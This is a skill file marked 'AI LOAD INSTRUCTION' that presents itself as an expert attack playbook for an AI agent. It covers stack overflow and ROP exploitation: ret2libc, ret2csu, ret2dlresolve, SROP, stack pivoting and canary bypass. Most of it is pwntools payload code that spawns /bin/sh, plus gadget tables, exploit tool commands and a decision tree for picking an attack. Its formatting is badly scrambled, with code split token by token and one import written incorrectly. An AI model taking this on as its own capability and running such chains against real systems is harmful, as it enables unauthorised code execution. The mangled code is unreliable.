- SKILL: Stack Overflow & ROP — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions. 0. RELATED ROUTING format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution heap-exploitation — when the vulnerability is in heap rather than stack Advanced Reference Load ROP_ADVANCED_TECHNIQUES.md when you need: Blind ROP (BROP) methodology against remote services without binary ret2vdso for ASLR bypass on 32-bit systems Partial overwrite techniques for PIE bypass JOP / COP alternative code-reuse paradigms 1. STACK LAYOUT FUNDAMENTALS High Address ┌─────────────────────┐ │ ... (caller) │ ├─────────────────────┤ │ Return Address │ ← overwrite target (EIP/RIP control) ├─────────────────────┤ │ Saved EBP/RBP │ ← overwrite for stack pivoting ├─────────────────────┤ │ Canary (if enabled)│ ├─────────────────────┤ │ Local Variables │ ← buffer starts here ├─────────────────────┤ │ ... │ └─────────────────────┘ Low Address Element x86 (32-bit) x86-64 (64-bit) Return address size 4 bytes 8 bytes Saved frame pointer 4 bytes (EBP) 8 bytes (RBP) Canary size 4 bytes 8 bytes Calling convention args on stack RDI, RSI, RDX, RCX, R8, R9 then stack Syscall instruction int 0x80 syscall 2. RETURN-TO-LIBC When NX is enabled (stack not executable), redirect execution to libc functions. Classic ret2libc (32-bit) payload = b'A' * offset payload += p32 ( system_addr ) payload += p32 ( exit_addr )
fake return address for system()
payload += p32 ( binsh_addr )
arg1: "/bin/sh"
ret2libc (64-bit) — Need Gadgets for Arguments pop_rdi = elf_base + 0x401234
pop rdi; ret
payload
b'A' * offset payload += p64 ( pop_rdi ) payload += p64 ( binsh_addr ) payload += p64 ( system_addr ) Libc Base Leak Methods Method Technique When puts@plt(puts@GOT) Leak resolved libc address GOT already resolved, puts in PLT write@plt(1, read@GOT, 8) Leak via write syscall write available printf("%s", GOT_entry) Leak via format string printf controllable Partial overwrite Overwrite low bytes of return to reach leak gadget PIE enabled, known last 12 bits
Typical leak pattern
rop
b'A' * offset rop += p64 ( pop_rdi ) + p64 ( elf . got [ 'puts' ] ) rop += p64 ( elf . plt [ 'puts' ] ) rop += p64 ( main_addr )
return to main for second payload
- io
- .
- sendline
- (
- rop
- )
- leak
- =
- u64
- (
- io
- .
- recvline
- (
- )
- .
- strip
- (
- )
- .
- ljust
- (
- 8
- ,
- b'\x00'
- )
- )
- libc_base
- =
- leak
- -
- libc
- .
- symbols
- [
- 'puts'
- ]
- one_gadget — Single Gadget RCE
- $ one_gadget /path/to/libc.so.6
- 0x4f3d5 execve
- (
- "/bin/sh"
- , rsp+0x40, environ
- )
- constraints: rsp
- &
- 0xf
- ==
- 0
- , rcx
- ==
- NULL
- 0x4f432 execve
- (
- "/bin/sh"
- , rsp+0x40, environ
- )
- constraints:
- [
- rsp+0x40
- ]
- ==
- NULL
- Constraints must be satisfied — check register/stack state before using.
- 3. ROP CHAIN CONSTRUCTION
- Tool Comparison
- Tool
- Strength
- Command
- ROPgadget
- Comprehensive search, chain generation
- ROPgadget --binary elf --ropchain
- ropper
- Semantic search, JOP/COP support
- ropper -f elf --search "pop rdi"
- pwntools ROP
- Automated chain building
- rop = ROP(elf); rop.call('system', ['/bin/sh'])
- xrop
- Fast gadget search
- xrop -r elf
- Essential Gadget Patterns
- Purpose
- Gadget
- Use Case
- Set RDI (arg1)
- pop rdi; ret
- Most function calls
- Set RSI (arg2)
- pop rsi; pop r15; ret
- Two-arg functions
- Set RDX (arg3)
- pop rdx; ret
- (rare)
- Three-arg functions, use ret2csu
- Syscall
- syscall; ret
- Direct syscall invocation
- Stack pivot
- leave; ret
- Move RSP to controlled buffer
- Align stack
- ret
- (single ret gadget)
- Fix 16-byte alignment for movaps
- x86-64 stack alignment
- :
- system()
- and other libc functions use
- movaps
- which requires RSP % 16 == 0. Insert an extra
- ret
- gadget before the call if alignment is off.
- 4. ret2csu — Universal 3-Argument Control
- __libc_csu_init
- exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
- ; Gadget 1 (csu_init + 0x3a): pop registers
- pop
- rbx
- ; 0
- pop
- rbp
- ; 1
- pop
- r12
- ; call target (function pointer address)
- pop
- r13
- ; arg3 (rdx)
- pop
- r14
- ; arg2 (rsi)
- pop
- r15
- ; arg1 (edi = r15d)
- ret
- ; Gadget 2 (csu_init + 0x20): controlled call
- mov
- rdx
- ,
- r13
- mov
- rsi
- ,
- r14
- mov
- edi
- ,
- r15d
- ; NOTE: only sets edi (32-bit), not full rdi
- call
- [
- r12
- +
- rbx
- *
- 8
- ]
- add
- rbx
- ,
- 1
- cmp
- rbp
- ,
- rbx
- jne
- <
- loop
- >
- ; falls through to gadget 1 again
- Key constraints
- r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0 , rbp=1 to skip the loop. 5. ret2dlresolve Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system ) without a libc leak. Attack Flow Control execution to call _dl_runtime_resolve(link_map, reloc_offset) Forge Elf_Rel at known writable address pointing to fake Elf_Sym Forge Elf_Sym with st_name pointing to fake string "system\x00" Set reloc_offset so resolver uses forged structures Argument ( /bin/sh ) placed on stack or in known buffer
pwntools automation (recommended)
from pwntools import * rop = ROP ( elf ) dlresolve = Ret2dlresolvePayload ( elf , symbol = "system" , args = [ "/bin/sh" ] ) rop . read ( 0 , dlresolve . data_addr ) rop . ret2dlresolve ( dlresolve ) io . sendline ( rop . chain ( ) ) io . sendline ( dlresolve . payload ) 32-bit vs 64-bit Differences Aspect 32-bit 64-bit Relocation type Elf32_Rel (8 bytes) Elf64_Rela (24 bytes) Symbol table entry Elf32_Sym (16 bytes) Elf64_Sym (24 bytes) Alignment Relaxed Strict (must satisfy ndx = (reloc_offset) / sizeof(Elf64_Rela) , then sym = symtab[ndx] ) Version check Usually skippable VERSYM[sym_index] must be valid or 0 6. SROP — Sigreturn-Oriented Programming Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack. from pwn import * frame = SigreturnFrame ( ) frame . rax = constants . SYS_execve
59
frame . rdi = binsh_addr frame . rsi = 0 frame . rdx = 0 frame . rip = syscall_ret_addr frame . rsp = new_stack_addr
optional pivot
payload
b'A' * offset payload += p64 ( pop_rax_ret ) + p64 ( 15 )
SYS_rt_sigreturn = 15
- payload
- +=
- p64
- (
- syscall_ret
- )
- payload
- +=
- bytes
- (
- frame
- )
- When to use
- limited gadgets, no pop rdx , static binary, or need to pivot stack to arbitrary address. 7. STACK PIVOTING Move the stack pointer to an attacker-controlled buffer when overflow length is limited. Technique Gadget Precondition leave; ret mov rsp, rbp; pop rbp; ret Control saved RBP to point to fake stack xchg rsp, rax; ret Swap RSP with RAX Control RAX (via gadget chain) pop rsp; ret Direct RSP control Rare but powerful SROP pivot Set RSP in SigreturnFrame Only need sigreturn gadget leave;ret Pivot Pattern Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr] 1st leave: rsp = rbp → fake_rbp; pop rbp → fake_rbp 1st ret: rip = leave_ret_addr 2nd leave: rsp = new_rbp → buf+8; pop rbp → (buf) 2nd ret: rip = *(buf+8) → start of ROP chain in buf 8. CANARY BYPASS Technique Condition Method Brute-force fork() server (canary same in child) Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) Format string leak printf(user_input) available %N$p to read canary from stack Stack reading One-byte overflow or partial read Overwrite canary null byte, read via error/output Thread canary Overflow reaches TLS Overwrite stack_guard in TLS (at fs:[0x28] ) simultaneously Information disclosure Uninitialized stack variable leak Canary included in leaked data 9. TOOLS QUICK REFERENCE checksec ./binary
Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain
Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"
Semantic gadget search
one_gadget ./libc.so.6
Find one-shot RCE gadgets
pwn template ./binary --host x --port y
Generate pwntools exploit skeleton
- DECISION TREE Binary has stack overflow? ├── checksec: NX disabled? │ └── YES → shellcode on stack, ret to buffer (ret2shellcode) │ └── NO (NX enabled) → │ ├── Canary enabled? │ │ ├── YES → fork() server? → brute-force canary │ │ │ format string? → leak canary │ │ │ info leak? → read canary │ │ └── NO → proceed to ROP │ ├── ASLR/PIE enabled? │ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak) │ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT) │ │ └── Neither → addresses known, direct ROP │ ├── Can leak libc? │ │ ├── YES → ret2libc (system/execve) or one_gadget │ │ └── NO → ret2dlresolve (forge resolution) or SROP │ ├── Need 3+ args but no pop rdx? │ │ └── ret2csu or SROP │ ├── Overflow too short for full chain? │ │ └── Stack pivot (leave;ret, xchg rsp) │ ├── Static binary (no libc)? │ │ └── SROP + syscall chain (execve via sigreturn) │ └── Full RELRO? │ └── Cannot overwrite GOT → target __free_hook, __malloc_hook, │ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)